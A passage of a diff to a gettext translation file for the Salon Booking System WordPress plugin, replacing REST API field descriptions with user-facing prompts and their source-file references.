System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FInitEnvatoAutomaticPluginUpdate.php:262\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FInitEnvatoAutomaticPluginUpdate.php:262\n+msgid \"Please enter your CodeCanyon purchase code above to:\"\n msgstr \"\"\n \n-#: src\u002FSLB_API\u002FController\u002FBookings_Controller.php:1435, src\u002FSLB_API\u002FController\u002FServices_Controller.php:556, src\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1554, src\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:510, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1435, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:556, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1554, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:510, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1435, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:556, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1554, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:510, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1435, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:555, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1554, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:510, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1435, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:556, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1554, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:510, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1435, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:556, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1554, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:510\n-msgid \"The duration for the resource.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:68\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:68\n+msgid \"Please fill the required fields\"\n msgstr \"\"\n \n-#: src\u002FSLB_API\u002FController\u002FBookings_Controller.php:1445, src\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:359, src\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1564, src\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:378, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1445, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:359, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1564, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:378, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1445, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:359, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1564, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:378, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1445, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:359, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1564, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:378, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1445, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:359, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1564, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:378, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1445, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:359, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1564, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:378\n-msgid \"The amount for the resource.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Flicense\u002Fadmin.php:7\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Flicense\u002Fadmin.php:7\n+msgid \"Please insert your license key\"\n msgstr \"\"\n \n-#: src\u002FSLB_API\u002FController\u002FBookings_Controller.php:1453, src\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1572, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1453, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1572, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1453, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1572, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1453, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1572, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1453, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1572, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1453, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1572\n-msgid \"The deposit for the resource.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FInitEnvatoAutomaticPluginUpdate.php:326\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FInitEnvatoAutomaticPluginUpdate.php:326\n+msgid \"Please make sure:\"\n msgstr \"\"\n \n-#: src\u002FSLB_API\u002FController\u002FBookings_Controller.php:1461, src\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1580, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1461, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1580, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1461, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1580, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1461, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1580, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1461, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1580, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1461, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1580\n-msgid \"The paid remained amount for the resource.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmail\u002F_customer_pay_remaining_amount_message_text.php:3\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmail\u002F_customer_pay_remaining_amount_message_text.php:3\n+msgid \"Please pay the remaining amount of your booking.\"\n msgstr \"\"\n \n-#: src\u002FSLB_API\u002FController\u002FBookings_Controller.php:1469, src\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:376, src\u002FSLB_API\u002FController\u002FServices_Controller.php:539, src\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1588, src\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:395, src\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:493, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1469, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:376, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:539, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1588, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:395, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:493, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1469, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:376, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:539, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1588, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:395, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:493, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1469, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:376, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:538, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1588, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:395, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:493, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1469, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:376, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:539, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1588, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:395, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:493, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1469, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:376, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:539, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1588, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:395, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:493\n-msgid \"The currency symbol the resource.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Ftools.php:218\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Ftools.php:218\n+msgid \"Please provide all requested columns\"\n msgstr \"\"\n \n-#: src\u002FSLB_API\u002FController\u002FBookings_Controller.php:1477, src\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1596, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1477, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1596, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1477, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1596, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1477, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1596, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1477, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1596, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1477, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1596\n-msgid \"The transaction id for the resource.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002Fsalon_summary.php:129\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon_summary.php:129\n+msgid \"please review and confirm the details of your booking:\"\n msgstr \"\"\n \n-#: src\u002FSLB_API\u002FController\u002FBookings_Controller.php:1499, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1499, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1499, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1499, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1499, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1499\n-msgid \"The admin description for the resource.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCheckDate.php:73\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCheckDate.php:73\n+msgid \"Please select a date before proceeding.\"\n msgstr \"\"\n \n-#: src\u002FSLB_API\u002FController\u002FCustomers_Controller.php:39, src\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:40, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:39, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:40, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:39, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:40, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:38, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:40, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:39, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:40, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:39, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:40\n-msgid \"Search type.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:101\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:101\n+msgid \"Please select a shop first to edit booking\"\n msgstr \"\"\n \n-#: src\u002FSLB_API\u002FController\u002FCustomers_Controller.php:45, src\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:46, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:45, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:46, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:45, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:46, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:44, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:46, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:45, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:46, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:45, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:46\n-msgid \"Search field.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_Discount\u002FWrapper\u002FDiscount.php:499\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_Discount\u002FAction\u002FAjax\u002FApplyDiscountCode.php:66\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_Discount\u002FWrapper\u002FDiscount.php:499\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_Discount\u002FAction\u002FAjax\u002FApplyDiscountCode.php:66\n+msgid \"Please select at least one service before applying a discount code.\"\n msgstr \"\"\n \n-#: src\u002FSLB_API\u002FController\u002FCustomers_Controller.php:112, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:112, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:112, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:111, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:112, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:112\n-msgid \"Rebooking window in days (e.g., 30, 60, 90).\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fbooking.php:90\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking.php:90\n+msgid \"Please set a new date and time\"\n msgstr \"\"\n \n-#: src\u002FSLB_API\u002FController\u002FCustomers_Controller.php:117, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:117, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:117, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:116, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:117, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:117\n-msgid \"Limit of at-risk customers to return.\"\n+#. %s will be replaced by link salon-settings required_pages\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fservice.php:420\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fservice.php:420\n+#, php-format\n+msgid \"\"\n+\"Please set the Booking page \u003Ca href=\\\"%s\\\" target=\\\"_blank\\\">Settings > \"\n+\"General > Salon Booking System required pages\u003C\u002Fa>\"\n msgstr \"\"\n \n-#: src\u002FSLB_API\u002FController\u002FCustomers_Controller.php:180, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:180, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:180, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:179, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:180, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:180\n-msgid \"Customer 